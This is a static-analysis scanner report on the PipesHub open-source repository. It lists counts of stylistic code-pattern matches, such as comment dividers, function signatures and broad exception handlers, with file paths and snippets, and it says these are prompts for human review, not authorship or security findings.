The open-source context layer for AI agents. PipesHub turns your company's knowledge (Slack, Drive, Jira, GitHub, Microsoft 365 and 40+ connectors) into a permission-aware workspace that agents can search, grep, navigate and cite. MCP, SDKs and built-in agents. Self-hosted.
This report summarizes scanner evidence for pipeshub-ai/pipeshub-ai, a Python project with 3,828 GitHub stars. SynthScan examined 2,666,582 lines of code across 6210 source files, recording 92332 pattern matches distributed across 27 syntactic categories. The legacy adjusted pattern signal is 46.8 (High pattern signal); it is not an authorship estimate.
Use the findings to ask whether maintainers can explain intent, verify dependencies, simplify unnecessary scaffolding, and focus review effort. Risk Payload v1 adds ownership, supply-chain, over-engineering, and review-effort vectors when available. These are prompts for human verification, not probabilities, security findings, or measured maintenance costs.
Use each vector to guide manual verification of the underlying findings.
Can maintainers explain intent, assumptions, and trade-offs? 55727 finding(s).
Are imports declared and package/API names verified? 5693 finding(s).
Are wrappers, guards, and repeated structures necessary? 82820 finding(s).
Which changes need focused human review? 92332 finding(s).
This chart tracks the legacy adjusted pattern score across scan runs. Changes can reflect source changes, scan coverage, or detector/scoring versions; they do not measure AI adoption or prove that a team refactored code. Compare runs only when their scoring versions are compatible. The dashed line tracks the raw pattern-hit count.
Groups findings by configured severity weight. Severity is not a confidence estimate, security rating, or proof that a package is missing. Verify imports against the project's manifests and inspect each finding in its local design context.
This horizontal bar chart shows where configured pattern scores accumulate across directories. Treat the bars as locations to inspect, not as evidence of authorship or code quality. Use the file-level findings to decide whether a directory needs a focused ownership, dependency, complexity, or review check.
The scanner identified 92332 distinct pattern matches across 27 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a detector match to inspect in context. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.
Reading the findings table: The Severity column indicates the configured finding weight (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — legacy comment-context matches receive a ×1.5 score weight. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier under the legacy scoring model.
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | install.sh | 2 | # ============================================================================== | COMMENT |
| MEDIUM | install.sh | 4 | # ============================================================================== | COMMENT |
| MEDIUM | install.sh | 27 | # ============================================================================== | COMMENT |
| MEDIUM⚡ | install.sh | 48 | # ── Repo mode ───────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM⚡ | install.sh | 54 | # ── Standalone mode ─────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | frontend/app/components/sidebar/sidebar-base.tsx | 31 | // ── Mobile full-screen drawer ───────────────────────────────── | COMMENT |
| MEDIUM | frontend/app/components/sidebar/types.ts | 28 | // ── Mobile drawer props ───────────────────────────── | COMMENT |
| MEDIUM | frontend/app/components/ui/user-avatar.tsx | 6 | // ───────────────────────────────────────────── | COMMENT |
| MEDIUM | frontend/app/components/ui/user-avatar.tsx | 8 | // ───────────────────────────────────────────── | COMMENT |
| MEDIUM | frontend/app/components/ui/health-gate.tsx | 162 | // ── Refresh data on server recovery to clear stale state ──────────────── | COMMENT |
| MEDIUM | frontend/app/components/ui/health-gate.tsx | 175 | // ── Fast retry when server is unreachable ──────────────────────────────── | COMMENT |
| MEDIUM | frontend/app/components/ui/health-gate.tsx | 201 | // ── Show / update / dismiss toasts based on health status ──────────────── | COMMENT |
| MEDIUM | …ntend/app/components/file-preview/use-citation-sync.ts | 110 | // ── Page scroll → find matching citation (debounced 300ms) ────────── | COMMENT |
| MEDIUM | …ntend/app/components/file-preview/use-citation-sync.ts | 136 | // ── Citation click → navigate + highlight ─────────────────────────── | COMMENT |
| MEDIUM | …nd/app/components/file-preview/use-text-highlighter.ts | 6 | // ── Constants ──────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …nd/app/components/file-preview/use-text-highlighter.ts | 25 | // ── Style injection ────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …nd/app/components/file-preview/use-text-highlighter.ts | 89 | // ── Pure helpers ───────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …nd/app/components/file-preview/use-text-highlighter.ts | 109 | // ── Text node collection ───────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …nd/app/components/file-preview/use-text-highlighter.ts | 233 | // ── DOM highlight engine ───────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …nd/app/components/file-preview/use-text-highlighter.ts | 435 | // ── Public hook ────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …ontend/app/components/file-preview/citations-panel.tsx | 118 | // ── Individual citation card ──────────────────────────────────────────── | COMMENT |
| MEDIUM⚡ | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 593 | // ── Loading state ─────────────────────────────────────────────── | COMMENT |
| MEDIUM⚡ | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 602 | // ── Error state ───────────────────────────────────────────────── | COMMENT |
| MEDIUM⚡ | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 612 | // ── Empty sheet state ─────────────────────────────────────────── | COMMENT |
| MEDIUM | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 9 | // ─── Constants ────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 30 | // ─── Types ────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 53 | // ─── State Management ─────────────────────────────────────────────── | COMMENT |
| MEDIUM | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 114 | // ─── Styles injector ──────────────────────────────────────────────── | COMMENT |
| MEDIUM | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 135 | // ─── Helpers ──────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 153 | // ─── Process workbook into structured data ────────────────────────── | COMMENT |
| MEDIUM | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 245 | // ─── Memoized table cell ──────────────────────────────────────────── | COMMENT |
| MEDIUM | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 293 | // ─── Main component ───────────────────────────────────────────────── | COMMENT |
| MEDIUM | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 329 | // ── Inject animation styles ───────────────────────────────────── | COMMENT |
| MEDIUM | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 332 | // ── Load & process file ───────────────────────────────────────── | COMMENT |
| MEDIUM | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 367 | // ── Current sheet data ────────────────────────────────────────── | COMMENT |
| MEDIUM | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 411 | // ── Column resize: drag start from any cell's right edge ─────── | COMMENT |
| MEDIUM | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 458 | // ── Row → citation mapping ────────────────────────────────────── | COMMENT |
| MEDIUM | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 473 | // ── Find which sheet contains a given (1-based) row number ─────── | COMMENT |
| MEDIUM | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 492 | // ── Apply highlight from citation ─────────────────────────────── | COMMENT |
| MEDIUM | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 505 | // ── Scroll to a row (retries until the row is rendered) ───────── | COMMENT |
| MEDIUM | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 532 | // ── Handle active citation changes ────────────────────────────── | COMMENT |
| MEDIUM | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 564 | // ── Handle row click for citation ─────────────────────────────── | COMMENT |
| MEDIUM | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 576 | // ── Sheet change ──────────────────────────────────────────────── | COMMENT |
| MEDIUM | …onents/file-preview/renderers/spreadsheet-renderer.tsx | 803 | // ─── Sheet Tabs ───────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …pp/components/file-preview/renderers/html-renderer.tsx | 39 | // ── Step 1: Fetch & sanitize ────────────────────────────────────── | COMMENT |
| MEDIUM | …pp/components/file-preview/renderers/html-renderer.tsx | 82 | // ── Step 2: Mount sanitized HTML into the DOM ───────────────────── | COMMENT |
| MEDIUM | …pp/components/file-preview/renderers/html-renderer.tsx | 105 | // ── Step 3: Apply citation highlights once content is ready ─────── | COMMENT |
| MEDIUM | …pp/components/file-preview/renderers/html-renderer.tsx | 115 | // ── Step 4: Scroll to active citation (retry pattern) ──────────── | COMMENT |
| MEDIUM | …pp/components/file-preview/renderers/html-renderer.tsx | 139 | // ── Inject scoped styles for the content wrapper ────────────────── | COMMENT |
| MEDIUM | …pp/components/file-preview/renderers/docx-renderer.tsx | 61 | // ── Step 1: Fetch buffer & render with docx-preview ─────────────── | COMMENT |
| MEDIUM | …pp/components/file-preview/renderers/docx-renderer.tsx | 159 | // ── Step 3: Scroll to active citation (retry pattern) ───────────── | COMMENT |
| MEDIUM | …pp/components/file-preview/renderers/docx-renderer.tsx | 210 | // ── Inject scoped styles for docx-preview highlights ────────────── | COMMENT |
| MEDIUM | frontend/app/(public)/api.ts | 11 | // ─── Types ──────────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | frontend/app/(public)/api.ts | 33 | // ─── Auth API ───────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | frontend/app/(public)/sign-up/signUpPage.tsx | 24 | // ─── Component ─────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | frontend/app/(public)/forms/multiple-providers.tsx | 9 | // ─── Props ──────────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | frontend/app/(public)/forms/multiple-providers.tsx | 20 | // ─── Tab metadata ───────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | frontend/app/(public)/forms/multiple-providers.tsx | 70 | // ─── Component ──────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | frontend/app/(public)/forms/single-provider.tsx | 24 | // ─── Props ──────────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | frontend/app/(public)/forms/single-provider.tsx | 37 | // ─── Component ──────────────────────────────────────────────────────────────── | COMMENT |
| 19891 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | CONNECTOR_INTEGRATION_PLAYBOOK.md | 730 | def test_connection_and_access(self) -> bool: | CODE |
| LOW⚡ | CONNECTOR_INTEGRATION_PLAYBOOK.md | 820 | async def handle_webhook_notification(self, org_id: str, notification: Dict) -> bool: | CODE |
| LOW | CONNECTOR_INTEGRATION_PLAYBOOK.md | 1137 | async def test_init_returns_false_when_connection_test_fails(self): | CODE |
| LOW | CONNECTOR_INTEGRATION_PLAYBOOK.md | 1146 | async def test_init_returns_false_when_credentials_fail(self): | CODE |
| LOW | frontend/app/components/ui/health-gate.tsx | 30 | function classifyUnhealthyServices( | CODE |
| LOW | frontend/app/components/ui/themeable-asset-icon.tsx | 63 | function svgMarkupUsesCurrentColor(svgText: string): boolean { | CODE |
| LOW | frontend/app/components/ui/permission-denied-dialog.tsx | 7 | export function usePermissionDeniedDialog() { | CODE |
| LOW | frontend/app/components/file-preview/resize-storage.ts | 57 | export function readSavedCitationsWidthPx(): number { | CODE |
| LOW | frontend/app/components/file-preview/utils.ts | 16 | export function resolvePreviewIconExtension( | CODE |
| LOW | frontend/app/components/file-preview/utils.ts | 307 | export function resolvePreviewMimeAfterStream( | CODE |
| LOW | …ors/oauth/callback/connector-oauth-callback-client.tsx | 52 | export function ConnectorOAuthCallbackClient() { | CODE |
| LOW | …ontend/app/(public)/connectors/oauth/callback/page.tsx | 10 | export default function ConnectorOAuthCallbackPage() { | CODE |
| LOW | …/app/(public)/oauth/authorize/oauth-authorize-view.tsx | 107 | function extractErrorFromRedirectUrl( | CODE |
| LOW | …app/(public)/forms/form-components/provider-button.tsx | 87 | export function getSamlProviderNameFromAuthProviders( | CODE |
| LOW | frontend/app/(public)/auth/sign-in/page.tsx | 5 | export default function AuthSignInErrorBridgePage() { | CODE |
| LOW | frontend/app/(public)/hooks/use-auth-actions.ts | 66 | function getBlockedUntilDescription(error: unknown): string | undefined { | CODE |
| LOW | frontend/app/(public)/reset-email/page.tsx | 13 | function buildLoginWithVerifyParams(kind: 'success' | 'error', message?: string): string { | CODE |
| LOW | …lsets/oauth/callback/toolset-oauth-callback-client.tsx | 40 | export function ToolsetOAuthCallbackClient() { | CODE |
| LOW | …n)/connectors/oauth/connector-oauth-window-messages.ts | 17 | export function postConnectorOAuthSuccessToOpener(connectorId: string | null): void { | CODE |
| LOW | …n)/connectors/oauth/connector-oauth-window-messages.ts | 32 | export function postConnectorOAuthErrorToOpener(error: string): void { | CODE |
| LOW | …/connectors/oauth/connector-oauth-callback-response.ts | 20 | export function parseConnectorOAuthCallbackPayload(data: unknown): ParsedConnectorOAuthCallback { | CODE |
| LOW | frontend/app/(main)/record/page.tsx | 79 | function RecordPageSuspenseFallback() { | CODE |
| LOW | …app/(main)/record/components/record-metadata-panel.tsx | 171 | function shouldShowIndexingReasonTooltip( | CODE |
| LOW | …d/app/(main)/@sidebar/workspace/connectors/default.tsx | 4 | export default function WorkspaceConnectorsSidebarDefault() { | CODE |
| LOW | …tend/app/(main)/@sidebar/workspace/actions/default.tsx | 4 | export default function WorkspaceActionsSidebarDefault() { | CODE |
| LOW | …/app/(main)/@sidebar/workspace/mcp-servers/default.tsx | 4 | export default function WorkspaceMcpServersSidebarDefault() { | CODE |
| LOW | …owledge-base/use-knowledge-base-sidebar-auto-expand.ts | 24 | function isKbCollectionsNavigationPath( | CODE |
| LOW | …owledge-base/use-knowledge-base-sidebar-auto-expand.ts | 64 | export function useKnowledgeBaseSidebarAutoExpand({ | CODE |
| LOW | frontend/app/(main)/@sidebar/knowledge-base/page.tsx | 24 | function KnowledgeBaseSidebarSlotContent() { | CODE |
| LOW | frontend/app/(main)/chat/streaming.ts | 131 | function stampPendingCardOnMessages( | CODE |
| LOW | frontend/app/(main)/chat/streaming.ts | 154 | function assistantRowIdForBackendMessage( | CODE |
| LOW | frontend/app/(main)/chat/streaming.ts | 169 | function pendingFromUnansweredPersistedCard( | CODE |
| LOW⚡ | frontend/app/(main)/chat/streaming.ts | 227 | function pendingAfterStreamFailure( | CODE |
| LOW⚡ | frontend/app/(main)/chat/streaming.ts | 237 | function notifyAskUserQuestionResumeFailed(detail: string): void { | CODE |
| LOW⚡ | frontend/app/(main)/chat/streaming.ts | 243 | function withStreamingErrorMessage( | CODE |
| LOW | frontend/app/(main)/chat/streaming.ts | 260 | function statusMessageFromConnectedEvent(data: SSEConnectedEvent): StatusMessage { | CODE |
| LOW | frontend/app/(main)/chat/streaming.ts | 298 | function statusMessageIdleThinking(): StatusMessage { | CODE |
| LOW | frontend/app/(main)/chat/streaming.ts | 326 | function createStatusDwellScheduler( | CODE |
| LOW | frontend/app/(main)/chat/share-adapter.ts | 173 | export function createProjectShareAdapter(project: ProjectDetail): ShareAdapter { | CODE |
| LOW | frontend/app/(main)/chat/api.ts | 103 | export function mapApiConversationToConversation(conv: ConversationApiResponse): Conversation { | CODE |
| LOW | frontend/app/(main)/chat/runtime.ts | 93 | export function getThreadMessagePlainText(message: ThreadMessageLike): string { | CODE |
| LOW | frontend/app/(main)/chat/runtime.ts | 98 | function readKbCollectionsFromMessage( | CODE |
| LOW | frontend/app/(main)/chat/runtime.ts | 124 | function resolveAssistantFiltersFromSlot( | CODE |
| LOW | frontend/app/(main)/chat/runtime.ts | 152 | export function resolveAssistantFiltersForChatSubmit( | CODE |
| LOW | frontend/app/(main)/chat/runtime.ts | 192 | export function buildStreamChatRequestForSlot( | CODE |
| LOW | frontend/app/(main)/chat/runtime.ts | 344 | function isAskUserQuestionResumeQuery(text: string | undefined | null): boolean { | CODE |
| LOW | frontend/app/(main)/chat/runtime.ts | 352 | function isFailedAskUserQuestionResumeError( | CODE |
| LOW | frontend/app/(main)/chat/runtime.ts | 401 | function isAskUserQuestionAnswered( | CODE |
| LOW | frontend/app/(main)/chat/runtime.ts | 413 | function stampPersistedQuestionCard( | CODE |
| LOW | frontend/app/(main)/chat/runtime.ts | 744 | function readAttachmentsFromMessage( | CODE |
| LOW | frontend/app/(main)/chat/types.ts | 222 | export function agentStrategyToApiSegment(strategy: AgentStrategy): AgentStrategyApiSegment { | CODE |
| LOW | frontend/app/(main)/chat/types.ts | 245 | export function streamChatModeToAgentApiChatMode( | CODE |
| LOW | frontend/app/(main)/chat/types.ts | 917 | export function buildStreamRequestModeFields( | CODE |
| LOW | frontend/app/(main)/chat/store.ts | 248 | export function isConversationStreamingInScope( | CODE |
| LOW | frontend/app/(main)/chat/store.ts | 1663 | export function getModelDefaultReasoningEffort( | CODE |
| LOW | frontend/app/(main)/chat/store.ts | 1678 | export function getAgentDefaultReasoningEffort( | CODE |
| LOW | frontend/app/(main)/chat/store.ts | 1691 | export function getUniversalCombinedCatalog(): string[] { | CODE |
| LOW | …nd/app/(main)/chat/sidebar/agent-sidebar-row-access.ts | 57 | export function getAgentSidebarRowMenuAccess(agent: AgentAccessInput): AgentSidebarRowMenuAccess | null { | CODE |
| LOW | …/(main)/chat/sidebar/project-conversations-sidebar.tsx | 76 | export const ProjectConversationsSidebar = React.memo(function ProjectConversationsSidebar({ | CODE |
| LOW | …app/(main)/chat/utils/apply-conversation-model-info.ts | 17 | export function pickModelInfoFromConversationBundle(detail: { | CODE |
| 50890 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | CONNECTOR_INTEGRATION_PLAYBOOK.md | 726 | except Exception as e: | CODE |
| LOW⚡ | CONNECTOR_INTEGRATION_PLAYBOOK.md | 736 | except Exception as e: | CODE |
| LOW⚡ | CONNECTOR_INTEGRATION_PLAYBOOK.md | 782 | except Exception as e: | CODE |
| LOW⚡ | CONNECTOR_INTEGRATION_PLAYBOOK.md | 812 | except Exception as e: | CODE |
| LOW⚡ | CONNECTOR_INTEGRATION_PLAYBOOK.md | 825 | except Exception as e: | CODE |
| LOW⚡ | CONNECTOR_INTEGRATION_PLAYBOOK.md | 834 | except Exception as e: | CODE |
| LOW | CONNECTOR_INTEGRATION_PLAYBOOK.md | 755 | except Exception as e: | CODE |
| LOW | CONNECTOR_INTEGRATION_PLAYBOOK.md | 893 | except Exception as e: | CODE |
| LOW | CONNECTOR_INTEGRATION_PLAYBOOK.md | 912 | except Exception as e: | CODE |
| LOW | CONNECTOR_INTEGRATION_PLAYBOOK.md | 953 | except Exception as e: | CODE |
| LOW | CONNECTOR_INTEGRATION_PLAYBOOK.md | 996 | except Exception: | CODE |
| LOW | CONNECTOR_INTEGRATION_PLAYBOOK.md | 1033 | except Exception as e: | CODE |
| LOW | integration-tests/connectors/nextcloud/conftest.py | 51 | except Exception as exc: # noqa: BLE001 — any failure means "not available" | CODE |
| LOW | …n-tests/connectors/google_drive_individual/conftest.py | 74 | except Exception as e: | CODE |
| LOW | …n-tests/connectors/google_drive_individual/conftest.py | 186 | except Exception as e: | CODE |
| LOW | …n-tests/connectors/google_drive_individual/conftest.py | 246 | except Exception as e: | CODE |
| LOW | …n-tests/connectors/google_drive_individual/conftest.py | 257 | except Exception as e: | CODE |
| LOW | integration-tests/connectors/github_teams/conftest.py | 176 | except Exception as e: | CODE |
| LOW⚡ | …ion-tests/connectors/github_teams/github_test_utils.py | 567 | except Exception as e: | CODE |
| LOW | …ion-tests/connectors/github_teams/github_test_utils.py | 466 | except Exception as e: | CODE |
| LOW | …ion-tests/connectors/github_teams/github_test_utils.py | 519 | except Exception as e: | CODE |
| LOW | …ion-tests/connectors/github_teams/github_test_utils.py | 526 | except Exception as close_error: | CODE |
| LOW | …ion-tests/connectors/github_teams/github_test_utils.py | 733 | except Exception as e: | CODE |
| LOW | …ion-tests/connectors/github_teams/github_test_utils.py | 743 | except Exception as e: | CODE |
| LOW | …ion-tests/connectors/github_teams/github_test_utils.py | 771 | except Exception as e: | CODE |
| LOW | …ion-tests/connectors/github_teams/github_test_utils.py | 803 | except Exception as e: | CODE |
| LOW | …ion-tests/connectors/github_teams/github_test_utils.py | 813 | except Exception as e: | CODE |
| LOW | …ion-tests/connectors/github_teams/github_test_utils.py | 1047 | except Exception as e: | CODE |
| LOW | …sts/connectors/github_teams/github_scenario_adapter.py | 87 | except Exception as e: # noqa: BLE001 - the suite's stale-namespace sweep catches leaks | CODE |
| LOW | …tors/github_teams/github_teams_scenario_matrix_test.py | 72 | except Exception as e: # noqa: BLE001 - teardown must not mask the test result | CODE |
| LOW | …nnectors/github_teams/github_teams_integration_test.py | 1639 | except Exception as e: | CODE |
| LOW | …nnectors/github_teams/github_teams_integration_test.py | 2403 | except Exception as e: | CODE |
| LOW | …nnectors/github_teams/github_teams_integration_test.py | 2455 | except Exception as e: | CODE |
| LOW⚡ | …ion-tests/connectors/gitlab/gitlab_integration_test.py | 2271 | except Exception as e: | CODE |
| LOW | …ion-tests/connectors/gitlab/gitlab_integration_test.py | 2216 | except Exception as e: | CODE |
| LOW | …tegration-tests/connectors/gitlab/gitlab_test_utils.py | 475 | except Exception as e: | CODE |
| LOW | …tegration-tests/connectors/gitlab/gitlab_test_utils.py | 479 | except Exception as close_error: | CODE |
| LOW | …tegration-tests/connectors/gitlab/gitlab_test_utils.py | 498 | except Exception as e: | CODE |
| LOW⚡ | …tegration-tests/connectors/gitlab/gitlab_test_utils.py | 603 | except Exception as e: | CODE |
| LOW⚡ | …tegration-tests/connectors/gitlab/gitlab_test_utils.py | 613 | except Exception as e: | CODE |
| LOW | …tegration-tests/connectors/gitlab/gitlab_test_utils.py | 632 | except Exception as e: | CODE |
| LOW | …tegration-tests/connectors/gitlab/gitlab_test_utils.py | 651 | except Exception as e: | CODE |
| LOW | …tegration-tests/connectors/gitlab/gitlab_test_utils.py | 692 | except Exception as e: | CODE |
| LOW⚡ | …tegration-tests/connectors/gitlab/gitlab_test_utils.py | 718 | except Exception as e: | CODE |
| LOW | …tegration-tests/connectors/gitlab/gitlab_test_utils.py | 812 | except Exception as e: | CODE |
| LOW | …tests/connectors/gitlab/gitlab_scenario_matrix_test.py | 105 | except Exception as e: # noqa: BLE001 - the suite's stale-namespace sweep catches leaks | CODE |
| LOW | …tests/connectors/gitlab/gitlab_scenario_matrix_test.py | 145 | except Exception as e: # noqa: BLE001 - teardown must not mask the test result | CODE |
| LOW | integration-tests/connectors/mariadb/conftest.py | 58 | except Exception as exc: # noqa: BLE001 — any failure means "not available" | CODE |
| LOW | integration-tests/connectors/web/conftest.py | 50 | except Exception as exc: # noqa: BLE001 — any failure means "not available" | CODE |
| LOW⚡ | integration-tests/connectors/linear/conftest.py | 421 | except Exception as e: | CODE |
| LOW⚡ | integration-tests/connectors/linear/conftest.py | 430 | except Exception as e: | CODE |
| LOW⚡ | integration-tests/connectors/linear/conftest.py | 438 | except Exception as e: | CODE |
| LOW | …ion-tests/connectors/linear/linear_integration_test.py | 160 | except Exception as e: | CODE |
| LOW | …ion-tests/connectors/linear/linear_integration_test.py | 731 | except Exception: | CODE |
| LOW | …tests/connectors/linear/linear_scenario_matrix_test.py | 148 | except Exception as e: # noqa: BLE001 - a later run's age-gated sweep catches leaks | CODE |
| LOW | …tests/connectors/linear/linear_scenario_matrix_test.py | 157 | except Exception as e: # noqa: BLE001 - teardown must not mask the test result | CODE |
| LOW⚡ | …tegration-tests/connectors/linear/linear_test_utils.py | 621 | except Exception: | CODE |
| LOW | …tegration-tests/connectors/linear/linear_test_utils.py | 101 | except Exception as e: | CODE |
| LOW | …tegration-tests/connectors/linear/linear_test_utils.py | 600 | except Exception: | CODE |
| LOW | …tegration-tests/connectors/linear/linear_test_utils.py | 777 | except Exception as e: | CODE |
| 9177 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | integration-tests/conftest.py | 1 | CODE | |
| LOW | integration-tests/conftest.py | 116 | CODE | |
| LOW | integration-tests/conftest.py | 116 | CODE | |
| LOW | integration-tests/conftest.py | 19 | CODE | |
| LOW | integration-tests/report_connector_coverage.py | 10 | CODE | |
| LOW | integration-tests/connectors/scenario_matrix.py | 50 | CODE | |
| LOW | integration-tests/connectors/scenario_matrix.py | 74 | CODE | |
| LOW | integration-tests/connectors/scenario_matrix.py | 75 | CODE | |
| LOW | integration-tests/connectors/scenario_matrix.py | 76 | CODE | |
| LOW | integration-tests/connectors/scenario_matrix.py | 77 | CODE | |
| LOW | integration-tests/connectors/scenario_matrix.py | 78 | CODE | |
| LOW | integration-tests/connectors/scenario_matrix.py | 79 | CODE | |
| LOW | integration-tests/connectors/conftest.py | 12 | CODE | |
| LOW | integration-tests/connectors/conftest.py | 17 | CODE | |
| LOW | …tegration-tests/connectors/storage_scenario_adapter.py | 18 | CODE | |
| LOW | integration-tests/connectors/demo/conftest.py | 18 | CODE | |
| LOW | …gration-tests/connectors/demo/demo_integration_test.py | 36 | CODE | |
| LOW | …-tests/connectors/nextcloud/nextcloud_source_helper.py | 13 | CODE | |
| LOW | …connectors/nextcloud/nextcloud_scenario_matrix_test.py | 11 | CODE | |
| LOW | …individual/google_drive_individual_integration_test.py | 22 | CODE | |
| LOW | …n-tests/connectors/google_drive_individual/conftest.py | 11 | CODE | |
| LOW | …google_drive_individual/drive_individual_test_utils.py | 5 | CODE | |
| LOW | integration-tests/connectors/github_teams/conftest.py | 37 | CODE | |
| LOW | …sts/connectors/github_teams/github_scenario_adapter.py | 13 | CODE | |
| LOW | …ation-tests/connectors/github_teams/github_expected.py | 21 | CODE | |
| LOW | …on-tests/connectors/github_teams/github_block_utils.py | 21 | CODE | |
| LOW | …on-tests/connectors/github_teams/github_block_utils.py | 21 | CODE | |
| LOW | …tors/github_teams/github_teams_scenario_matrix_test.py | 11 | CODE | |
| LOW | …ectors/azure_files/azure_files_scenario_matrix_test.py | 11 | CODE | |
| LOW | …s/connectors/azure_files/azure_files_storage_helper.py | 3 | CODE | |
| LOW | integration-tests/connectors/s3/s3_storage_helper.py | 3 | CODE | |
| LOW | …gration-tests/connectors/s3/s3_scenario_matrix_test.py | 9 | CODE | |
| LOW | …tests/connectors/gitlab/gitlab_scenario_matrix_test.py | 19 | CODE | |
| LOW | integration-tests/connectors/gitlab/gitlab_expected.py | 19 | CODE | |
| LOW | …egration-tests/connectors/gitlab/gitlab_block_utils.py | 21 | CODE | |
| LOW | …egration-tests/connectors/gitlab/gitlab_block_utils.py | 21 | CODE | |
| LOW | …tion-tests/connectors/mariadb/mariadb_source_helper.py | 14 | CODE | |
| LOW | …sts/connectors/mariadb/mariadb_scenario_matrix_test.py | 11 | CODE | |
| LOW | …on-tests/connectors/local_fs/local_fs_source_helper.py | 12 | CODE | |
| LOW | …s/connectors/local_fs/local_fs_scenario_matrix_test.py | 14 | CODE | |
| LOW | …ation-tests/connectors/web/web_scenario_matrix_test.py | 16 | CODE | |
| LOW | integration-tests/connectors/linear/linear_expected.py | 5 | CODE | |
| LOW | integration-tests/connectors/linear/linear_expected.py | 33 | CODE | |
| LOW | …tests/connectors/linear/linear_scenario_matrix_test.py | 16 | CODE | |
| LOW | …tegration-tests/connectors/linear/linear_test_utils.py | 10 | CODE | |
| LOW | …tegration-tests/connectors/linear/linear_test_utils.py | 17 | CODE | |
| LOW | …ation-tests/connectors/rss/rss_scenario_matrix_test.py | 11 | CODE | |
| LOW | …-tests/connectors/bookstack/bookstack_source_helper.py | 13 | CODE | |
| LOW | …connectors/bookstack/bookstack_scenario_matrix_test.py | 15 | CODE | |
| LOW | …on-tests/connectors/google_drive_workspace/conftest.py | 11 | CODE | |
| LOW | …oogle_drive_workspace_shared_drive_integration_test.py | 14 | CODE | |
| LOW | …e_workspace/google_drive_workspace_integration_test.py | 22 | CODE | |
| LOW | …rkspace/google_drive_workspace_scenario_matrix_test.py | 15 | CODE | |
| LOW | …s/google_drive_workspace/drive_workspace_test_utils.py | 5 | CODE | |
| LOW | …google_drive_workspace_permissions_integration_test.py | 15 | CODE | |
| LOW | …gration-tests/connectors/minio/minio_storage_helper.py | 12 | CODE | |
| LOW | …n-tests/connectors/minio/minio_scenario_matrix_test.py | 9 | CODE | |
| LOW | integration-tests/connectors/notion/notion_seed.py | 15 | CODE | |
| LOW | integration-tests/connectors/notion/constants.py | 8 | CODE | |
| LOW | integration-tests/connectors/notion/notion_expected.py | 10 | CODE | |
| 4499 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | integration-tests/helper/graph_provider_utils.py | 133 | Wait for a sync to finish and for the graph to stop changing, then return the record count. ``status == IDLE`` | STRING |
| HIGH | integration-tests/helper/assertions.py | 124 | Assert record exists and optionally validate properties. Args: connector_id: Conne | STRING |
| HIGH | integration-tests/helper/assertions.py | 198 | Assert record version/revision has changed. Args: connector_id: Connector ID | STRING |
| HIGH | integration-tests/helper/assertions.py | 233 | Assert user synced with correct properties. Args: connector_id: Connector ID | STRING |
| HIGH | integration-tests/helper/assertions.py | 289 | Assert group synced with correct properties. Args: connector_id: Connector ID | STRING |
| HIGH | integration-tests/helper/assertions.py | 380 | Assert all records have a property (optionally matching value/predicate). Args: co | STRING |
| HIGH | …hon/app/connectors/core/registry/connector_registry.py | 1482 | Create a connector instance when it's being configured. This method should be called during the config | STRING |
| HIGH | …hon/app/connectors/core/registry/connector_registry.py | 1541 | Update a connector instance in the database with access control. Args: connector_id: Uniqu | STRING |
| HIGH | …re/base/token_service/toolset_token_refresh_service.py | 518 | Build complete OAuth flow configuration for toolset. NEW ARCHITECTURE (2026-03+): OAuth credentials (c | STRING |
| HIGH | …re/base/token_service/toolset_token_refresh_service.py | 704 | Core token refresh logic - performs the actual OAuth token refresh for toolsets. Args: con | STRING |
